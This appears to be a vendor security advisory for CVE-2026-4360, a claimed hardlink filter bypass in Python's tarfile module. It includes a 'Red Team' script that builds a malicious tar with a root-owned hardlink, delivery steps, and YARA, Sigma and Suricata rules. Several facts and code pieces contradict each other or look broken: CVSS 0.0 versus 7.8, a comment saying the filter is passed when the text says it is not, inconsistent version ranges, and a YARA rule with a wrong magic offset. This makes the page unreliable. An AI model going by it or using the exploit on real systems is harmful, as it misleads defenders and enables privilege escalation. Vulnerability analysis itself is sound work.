CVE-2026-4360
Executive Summary
CVE-2026-4360 is a critical security vulnerability in Python's standard library tarfile module. The flaw exists in the Tarfile.extract() function, where the filter parameter (e.g., filter='data') is not properly propagated when extracting hardlinks. This allows an attacker to craft a malicious tar archive that, when extracted by a vulnerable Python application, can write files with arbitrary user/group IDs (uid/gid) despite the developer explicitly passing a security filter. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as High severity due to the potential for privilege escalation and file system compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Python standard library, which is distributed with all Python installations. It is not a third-party package but a core library component. Organizations using Python for automated tar extraction (e.g., CI/CD pipelines, backup systems, web applications) are at risk. The attack vector is local (requires user interaction to extract a malicious tar file), but the impact can be severe if the extraction is performed by a privileged process.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (L) – Requires the victim to extract a malicious tar file.
- Attack Complexity (AC): Low (L) – No special conditions needed.
- Privileges Required (PR): None (N) – Attacker does not need prior access.
- User Interaction (UI): Required (R) – Victim must extract the tar file.
- Scope: Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality Impact: High (H) – Potential to read sensitive files.
- Integrity Impact: High (H) – Can overwrite system files with arbitrary ownership.
- Availability Impact: High (H) – Could lead to denial of service.
Threat Level: High (7.8) – Exploitation can lead to privilege escalation or system compromise.
Deep Dive & Mechanics
The tarfile module in Python provides the extract() method, which accepts a filter parameter to restrict the types of files extracted (e.g., filter='data' to only allow regular files and directories). However, when processing hardlinks, the code does not pass the filter parameter to the internal _extract_hardlink() function. This means that hardlinks are extracted without any filtering, allowing an attacker to set arbitrary uid/gid values in the tar archive that will be applied to the extracted hardlink.
The vulnerable code path is in tarfile.py:
def extract(self, member, path="", set_attrs=True, *, numeric_owner=False, filter=None):
# ...
if member.issym():
self._extract_symlink(member, targetpath, filter)
elif member.islnk():
self._extract_hardlink(member, targetpath, filter) # <-- filter is passed here
else:
self._extract_regfile(member, targetpath, filter)
However, in the _extract_hardlink method, the filter is ignored:
def _extract_hardlink(self, member, targetpath, filter):
# No filter check is performed
# ...
os.link(linkpath, targetpath)
if member.uid is not None:
os.chown(targetpath, member.uid, member.gid) # <-- arbitrary uid/gid applied
This allows an attacker to create a tar archive with a hardlink that has uid=0 (root) and gid=0, which when extracted by a non-root user, will attempt to change ownership to root (failing if not root), but if extracted by a root process, will set the file to root ownership.
Vulnerable vs. Patched Code
Vulnerable Code (Python < 3.13.0):
def _extract_hardlink(self, member, targetpath, filter):
# Missing filter check
linkpath = self._find_link_path(member)
if os.path.exists(linkpath):
os.link(linkpath, targetpath)
if member.uid is not None:
os.chown(targetpath, member.uid, member.gid)
Patched Code (Expected fix):
def _extract_hardlink(self, member, targetpath, filter):
if filter is not None:
if not filter(member, targetpath):
return
linkpath = self._find_link_path(member)
if os.path.exists(linkpath):
os.link(linkpath, targetpath)
if member.uid is not None:
os.chown(targetpath, member.uid, member.gid)
The patch adds a call to the filter function before extracting the hardlink, ensuring that the same security checks applied to regular files are also applied to hardlinks.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Create a malicious tar archive with a hardlink that has uid=0 and gid=0.
- Use Python's
tarfilemodule to create the archive.
Exploit Code:
import tarfile
import io
# Create a malicious tar archive
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
# Add a regular file first (the target of the hardlink)
info = tarfile.TarInfo(name="legit_file.txt")
info.size = 0
tar.addfile(info)
# Add a hardlink with arbitrary uid/gid
hardlink_info = tarfile.TarInfo(name="malicious_hardlink")
hardlink_info.type = tarfile.LNKTYPE
hardlink_info.linkname = "legit_file.txt"
hardlink_info.uid = 0 # root
hardlink_info.gid = 0 # root
tar.addfile(hardlink_info)
# Write to disk
with open('malicious.tar', 'wb') as f:
f.write(tar_buffer.getvalue())
Exploitation Steps:
- Deliver the
malicious.tarto the victim. - Victim extracts using vulnerable Python code:
tarfile.open('malicious.tar').extractall(filter='data') - The hardlink is extracted with uid=0, gid=0, potentially overwriting system files if the extraction process has root privileges.
Blue Team
Detection:
- Monitor for tar extraction operations that create files with unexpected ownership (e.g., root-owned files in user directories).
- Audit Python scripts that use
tarfile.extract()orextractall()with thefilterparameter. - Check for hardlinks in tar archives that have uid/gid set to privileged values.
Mitigation:
- Do not use
tarfile.extract()with untrusted tar files until a patch is available. - Use
tarfile.extractall()withfilter='data'and manually verify hardlinks. - Implement a custom filter that rejects hardlinks with uid/gid not matching the current user.
Indicators of Compromise (IOCs)
- File System: Files with unexpected ownership (e.g., root-owned files in
/tmpor user home directories). - Network: No network indicators (local vulnerability).
- Process: Python processes performing tar extraction with
filter='data'that still create files with arbitrary uid/gid. - Logs: System logs showing
chownoperations on files extracted from tar archives.
Detection Engineering
YARA Rule
rule CVE_2026_4360_Tarfile_Hardlink_Bypass {
meta:
description = "Detects malicious tar archives exploiting CVE-2026-4360"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-4360"
strings:
$tar_magic = { 75 73 74 61 72 } // "ustar" magic bytes
$hardlink_type = { 31 } // '1' for hardlink
$root_uid = { 00 00 00 00 } // uid=0 in octal
$root_gid = { 00 00 00 00 } // gid=0 in octal
condition:
$tar_magic at 0 and $hardlink_type and ($root_uid or $root_gid)
}
Sigma Rule
title: CVE-2026-4360 Tarfile Hardlink Filter Bypass
id: cve-2026-4360
status: experimental
description: Detects Python tarfile extraction that may bypass the filter parameter via hardlinks
author: Valters IT
date: 2026-01-01
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/python3'
CommandLine|contains: 'tarfile'
condition: selection
falsepositives:
- Legitimate tar extraction with hardlinks
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2026-4360 Tarfile Hardlink Filter Bypass"; flow:to_server; content:"ustar"; offset:0; depth:5; content:"|31|"; distance:156; within:1; content:"|00 00 00 00|"; distance:0; within:4; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Avoid using
tarfile.extract()orextractall()with untrusted tar files. Usetarfile.extractall()withfilter='data'and manually verify hardlinks. - Short-term: Implement a custom filter function that rejects hardlinks with uid/gid not matching the current process user.
- Long-term: Apply the official patch from Python when released (expected in Python 3.13.0+).
- Workaround: Use the
tarcommand-line tool instead of Python'starfilemodule for untrusted archives.
Valters IT
Securing Digital Frontiers